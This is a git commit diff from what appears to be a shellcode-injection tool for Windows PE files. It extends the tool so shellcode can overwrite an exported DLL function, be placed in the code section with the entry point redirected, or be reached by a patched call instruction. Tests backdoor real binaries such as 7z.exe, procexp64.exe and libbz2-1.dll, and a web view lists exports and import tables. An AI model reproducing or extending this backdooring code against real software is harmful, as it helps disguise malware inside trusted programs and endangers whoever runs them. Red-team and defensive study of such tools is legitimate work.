fix: make DLL + func + EOP work

This commit is contained in:
Dobin
2024-04-14 11:47:47 +01:00
parent 368b14934d
commit b4671c8690
6 changed files with 141 additions and 59 deletions
+34 -3
View File
@@ -1,12 +1,43 @@
<!DOCTYPE html>
<html>
<head>
{% include 'header.html' %}
</head>
<body>
{% include 'navigation.html' %}
<h1> IAT </h1>
<div class="indent">
<h2> Exports </h2>
<table class="table">
<tr>
<th>Name</th>
<th>Address</th>
<th>Size (Approx)</th>
</tr>
{% for export in exports %}
<tr>
<td>{{export["name"]}}</td>
<td>{{export["addr"] | hexint}}</td>
<td>{{export["size"]}}</td>
</tr>
{% endfor %}
</table>
<h2> IAT </h2>
{% for dll in iat %}
<h2>DLL: {{dll}}</h2>
<h3>DLL: {{dll}}</h3>
<ul>
{% for entry in iat[dll] %}
<li> {{ entry.dll_name }}: {{ entry.func_name }} ({{ entry.iat_vaddr }})</li>
<li> {{ entry.dll_name }}: {{ entry.func_name }} ({{ entry.iat_vaddr | hexint }})</li>
{% endfor%}
</ul>
{% endfor %}
</div>
</body>
</html>
+9 -1
View File
@@ -20,7 +20,11 @@ def index():
def exe_view(exe_name):
path = "{}/{}".format(PATH_EXES, exe_name)
superpe = SuperPe(path)
return render_template('exe.html', superpe=superpe, iat=superpe.get_iat_entries())
return render_template('exe.html',
superpe=superpe,
iat=superpe.get_iat_entries(),
exports=superpe.get_exports_full(),
)
@views.route("/exes")
@@ -30,3 +34,7 @@ def exes_view():
exes.append(file)
return render_template('exes.html', exes=exes)
@views.app_template_filter('hexint')
def hex_filter(s):
return hex(s)
-3
View File
@@ -57,9 +57,6 @@ class PeBackdoor:
if exp.name.decode() == name:
#print(hex(exp.address), exp.name.decode())
addr = exp.address
logger.info(f'Using DLL Export "{name}" at RVA 0x{addr:X} . Attempting to hijack it...')
return addr
+46
View File
@@ -223,6 +223,33 @@ class SuperPe():
res.append(e.name.decode())
return res
def get_exports_full(self):
"""Return a list of exported functions (names) from the PE file"""
d = [pefile.DIRECTORY_ENTRY["IMAGE_DIRECTORY_ENTRY_EXPORT"]]
self.pe.parse_data_directories(directories=d)
if self.pe.DIRECTORY_ENTRY_EXPORT.symbols == 0:
return []
res = []
for e in self.pe.DIRECTORY_ENTRY_EXPORT.symbols:
a = {
"name": e.name.decode(),
"addr": e.address
}
res.append(a)
# sort the exports by address
res.sort(key=lambda x: x["addr"])
# calculate the size of each export
for idx, entry in enumerate(res):
next_entry = res[idx + 1] if idx + 1 < len(res) else None
if next_entry is None:
entry["size"] = 0
else:
entry["size"] = next_entry["addr"] - entry["addr"]
return res
## Helpers
@@ -235,12 +262,31 @@ class SuperPe():
# Calculate the difference between the VA and the section's virtual address
virtual_offset = virtual_address - section.VirtualAddress
# Add the difference to the section's pointer to raw data
#print("0x{:X} 0x{:X} -> 0x{:X}".format(virtual_offset, section.PointerToRawData, virtual_offset + section.PointerToRawData ))
return virtual_offset
#physical_address = section.PointerToRawData + virtual_offset
#return physical_address
return None
def get_physical_address2(self, virtual_address) -> int:
"""Convert a virtual address to a physical address in the PE file"""
# Iterate through the section headers to find which section contains the VA
for section in self.pe.sections:
# Check if the VA is within the range of this section
if section.VirtualAddress <= virtual_address < section.VirtualAddress + section.Misc_VirtualSize:
# Calculate the difference between the VA and the section's virtual address
virtual_offset = virtual_address - section.VirtualAddress
# Add the difference to the section's pointer to raw data
logger.info("0x{:X} 0x{:X} -> 0x{:X}".format(virtual_offset, section.PointerToRawData, virtual_offset + section.PointerToRawData ))
return virtual_offset + section.PointerToRawData
#physical_address = section.PointerToRawData + virtual_offset
#return physical_address
return None
def write_pe_to_file(self, outfile: str):
self.pe.write(outfile)
+43 -43
View File
@@ -44,69 +44,69 @@ def inject_exe(
superpe = SuperPe(exe_in)
pe_backdoorer = PeBackdoor(superpe, main_shc, carrier_invoke_style)
# Find a nice location for the shellcode
shellcode_offset: int = 0
if superpe.is_dll(): # DLL
shellcode_offset = 0
else: # EXE
pass
if True:
if superpe.is_dll() and settings.dllfunc != "" and carrier_invoke_style == CarrierInvokeStyle.ChangeEntryPoint:
# Special case. put it at the beginning of the exported DLL function
logger.info("--[ Overwrite DLL function {} with shellcode".format(settings.dllfunc))
rva = pe_backdoorer.getExportEntryPoint(settings.dllfunc)
shellcode_offset = superpe.get_physical_address2(rva)
logger.info(f'---[ Using DLL Export "{settings.dllfunc}" at RVA 0x{rva:X} offset 0x{shellcode_offset:X} to overwrite')
superpe.pe.set_bytes_at_offset(shellcode_offset, main_shc)
else: # Put it somewhere in the code section, and rewire the flow
sect = superpe.get_code_section()
if sect == None:
raise Exception('Could not find code section in input PE file!')
sect_name = sect.Name.decode().rstrip('\x00')
sect_size = sect.Misc_VirtualSize # Better than: SizeOfRawData
if sect_size < l:
raise Exception("Shellcode too large: {} > {}".format(
l, sect_size
))
shellcode_offset = int((sect_size - l) / 2)
shellcode_rva = superpe.pe.get_rva_from_offset(shellcode_offset)
logger.info("--( Inject: Shellcode rva:0x{:X} offset:0x{:X}".format(
shellcode_rva, shellcode_offset))
shellcode_rva = superpe.pe.get_rva_from_offset(shellcode_offset)
logger.info("--( Inject: Shellcode rva:0x{:X} offset:0x{:X}".format(
shellcode_rva, shellcode_offset))
# Copy the shellcode
superpe.pe.set_bytes_at_offset(shellcode_offset, main_shc)
# Copy the shellcode
superpe.pe.set_bytes_at_offset(shellcode_offset, main_shc)
# HACK
pe_backdoorer.shellcodeOffset = shellcode_offset
pe_backdoorer.shellcodeOffsetRel = shellcode_offset - sect.PointerToRawData
pe_backdoorer.shellcodeAddr = shellcode_rva + superpe.pe.OPTIONAL_HEADER.ImageBase
# HACK
pe_backdoorer.shellcodeOffset = shellcode_offset
pe_backdoorer.shellcodeOffsetRel = shellcode_offset - sect.PointerToRawData
pe_backdoorer.shellcodeAddr = shellcode_rva + superpe.pe.OPTIONAL_HEADER.ImageBase
# rewire flow
if superpe.is_dll() and settings.dllfunc != "":
logger.info("---( Rewire: DLL function: {} ".format(settings.dllfunc))
# rewire flow
if superpe.is_dll() and settings.dllfunc != "":
logger.info("---( Rewire: DLL function: {} ".format(settings.dllfunc))
if carrier_invoke_style == CarrierInvokeStyle.ChangeEntryPoint:
#raise Exception("--( Inject DLL: Change Entry Point unsupported when set ".format(
# settings.dllfunc))
pass
if carrier_invoke_style == CarrierInvokeStyle.ChangeEntryPoint:
# Handled above, without arriving here
raise Exception("We should not land here")
elif carrier_invoke_style == CarrierInvokeStyle.BackdoorCallInstr:
addr = pe_backdoorer.getExportEntryPoint(settings.dllfunc)
elif carrier_invoke_style == CarrierInvokeStyle.BackdoorCallInstr:
addr = pe_backdoorer.getExportEntryPoint(settings.dllfunc)
logger.info("--( Inject DLL: Patch {} (0x{:X})".format(
settings.dllfunc, addr))
pe_backdoorer.backdoor_function(addr, shellcode_rva)
logger.info("--( Inject DLL: Patch {} (0x{:X})".format(
settings.dllfunc, addr))
pe_backdoorer.backdoor_function(addr, shellcode_rva)
else: # EXE
logger.info("---( Rewire: EXE")
else: # EXE
logger.info("---( Rewire: EXE")
if carrier_invoke_style == CarrierInvokeStyle.ChangeEntryPoint:
logger.info("--( Inject EXE: Change Entry Point to 0x{:X}".format(
shellcode_rva))
superpe.set_entrypoint(shellcode_rva)
if carrier_invoke_style == CarrierInvokeStyle.ChangeEntryPoint:
logger.info("--( Inject EXE: Change Entry Point to 0x{:X}".format(
shellcode_rva))
superpe.set_entrypoint(shellcode_rva)
elif carrier_invoke_style == CarrierInvokeStyle.BackdoorCallInstr:
addr = superpe.get_entrypoint()
logger.info("--( Inject EXE: Patch main() (0x{:X})".format(
addr))
pe_backdoorer.backdoor_function(addr, shellcode_rva)
elif carrier_invoke_style == CarrierInvokeStyle.BackdoorCallInstr:
addr = superpe.get_entrypoint()
logger.info("--( Inject EXE: Patch main() (0x{:X})".format(
addr))
pe_backdoorer.backdoor_function(addr, shellcode_rva)
if source_style == FunctionInvokeStyle.iat_reuse:
injected_fix_iat(superpe, project.carrier, project.exe_host)
injected_fix_data(superpe, project.carrier, project.exe_host)
if source_style == FunctionInvokeStyle.iat_reuse:
injected_fix_iat(superpe, project.carrier, project.exe_host)
injected_fix_data(superpe, project.carrier, project.exe_host)
# We done
superpe.write_pe_to_file(exe_out)
+9 -9
View File
@@ -28,7 +28,7 @@ def test_exe():
prepare_project("unittest", settings)
# 7z, peb-walk, change-entrypoint
print("Test: 7z, peb-walk, change-entrypoint")
print("Test EXE 1/4: 7z, peb-walk, change-entrypoint")
settings.source_style = FunctionInvokeStyle.peb_walk
settings.carrier_invoke_style = CarrierInvokeStyle.ChangeEntryPoint
settings.inject_exe_in = PATH_EXES + "7z.exe"
@@ -37,7 +37,7 @@ def test_exe():
print("Error")
# 7z, peb-walk, hijack
print("Test: 7z, peb-walk, hijack main")
print("Test EXE 2/4: 7z, peb-walk, hijack main")
settings.source_style = FunctionInvokeStyle.peb_walk
settings.carrier_invoke_style = CarrierInvokeStyle.BackdoorCallInstr
settings.inject_exe_in = PATH_EXES + "7z.exe"
@@ -46,7 +46,7 @@ def test_exe():
print("Error")
# procexp, iat-reuse, change-entrypoint
print("Test: procexp, iat-reuse, change-entrypoint")
print("Test EXE 3/4: procexp, iat-reuse, change-entrypoint")
settings.source_style = FunctionInvokeStyle.iat_reuse
settings.carrier_invoke_style = CarrierInvokeStyle.ChangeEntryPoint
settings.inject_exe_in = PATH_EXES + "procexp64.exe"
@@ -55,7 +55,7 @@ def test_exe():
print("Error")
# procexp, iat-reuse, backdoor
print("Test: procexp, iat-reuse, backdoor")
print("Test EXE 4/4: procexp, iat-reuse, backdoor")
settings.source_style = FunctionInvokeStyle.iat_reuse
settings.carrier_invoke_style = CarrierInvokeStyle.BackdoorCallInstr
settings.inject_exe_in = PATH_EXES + "procexp64.exe"
@@ -73,7 +73,7 @@ def test_dll():
settings.prep_web("unittest")
prepare_project("unittest", settings)
print("Test: libbz2-1.dll, peb-walk, change-entrypoint dllMain (func=None)")
print("Test DLL 1/6: libbz2-1.dll, peb-walk, change-entrypoint dllMain (func=None)")
settings.source_style = FunctionInvokeStyle.peb_walk
settings.carrier_invoke_style = CarrierInvokeStyle.ChangeEntryPoint
settings.inject_exe_in = PATH_EXES + "libbz2-1.dll"
@@ -81,7 +81,7 @@ def test_dll():
if start(settings) != 0:
print("Error")
print("Test: libbz2-1.dll, peb-walk, hijack dllMain (func=None)")
print("Test DLL 2/6: libbz2-1.dll, peb-walk, hijack dllMain (func=None)")
settings.source_style = FunctionInvokeStyle.peb_walk
settings.carrier_invoke_style = CarrierInvokeStyle.BackdoorCallInstr
settings.inject_exe_in = PATH_EXES + "libbz2-1.dll"
@@ -89,8 +89,8 @@ def test_dll():
if start(settings) != 0:
print("Error")
print("Test: libbz2-1.dll, peb-walk, change-entrypoint, func=BZ2_bzdopen")
settings.dllfunc = "BZ2_bzdopen"
print("Test DLL 3/6: libbz2-1.dll, peb-walk, change-entrypoint, func=BZ2_bzDecompress")
settings.dllfunc = "BZ2_bzDecompress"
settings.source_style = FunctionInvokeStyle.peb_walk
settings.carrier_invoke_style = CarrierInvokeStyle.ChangeEntryPoint
settings.inject_exe_in = PATH_EXES + "libbz2-1.dll"
@@ -98,7 +98,7 @@ def test_dll():
if start(settings) != 0:
print("Error")
print("Test: libbz2-1.dll, peb-walk, hijack main, func=BZ2_bzdopen")
print("Test DLL 4/6: libbz2-1.dll, peb-walk, hijack main, func=BZ2_bzdopen")
settings.dllfunc = "BZ2_bzdopen"
settings.source_style = FunctionInvokeStyle.peb_walk
settings.carrier_invoke_style = CarrierInvokeStyle.BackdoorCallInstr